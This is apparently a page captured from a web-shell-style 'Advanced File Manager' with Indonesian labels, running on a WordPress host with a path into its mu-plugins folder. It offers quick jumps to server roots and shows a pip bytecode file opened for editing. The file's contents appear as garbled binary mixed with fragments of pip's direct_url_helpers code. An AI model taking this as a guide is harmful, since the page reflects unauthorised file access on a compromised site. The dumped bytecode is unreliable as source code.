📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
lib
›
python3.9
›
site-packages
›
pip
›
_internal
›
utils
›
📁 __pycache__
📍
Lokasi:
/usr/lib/python3.9/site-packages/pip/_internal/utils/__pycache__
💾
Free:
45.7 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: direct_url_helpers.cpython-39.opt-1.pyc
a �lj� � @ s� d dl mZ d dlmZmZmZmZ d dlmZ d dl m Z d dlmZ ee e d�dd�Ze ed �d d�Zdeee eed�dd�ZdS )� )�Optional)�ArchiveInfo� DirectUrl�DirInfo�VcsInfo)�Link)�path_to_url)�vcs)� direct_url�name�returnc C s� | � � |d }g }t| jt�r>|d�| jj| j| jj�7 }n8t| jt�rl|| j7 }| jj rv|� | jj � n || j7 }| jr�|� d| j � |r�|dd�|� 7 }|S )z0Convert a DirectUrl to a pip requirement string.z @ z{}+{}@{}z subdirectory=�#�&) Zvalidate� isinstance�infor �formatr �url� commit_idr �hash�append�subdirectory�join)r r ZrequirementZ fragments� r �J/usr/lib/python3.9/site-packages/pip/_internal/utils/direct_url_helpers.py�%direct_url_as_pep440_direct_reference s"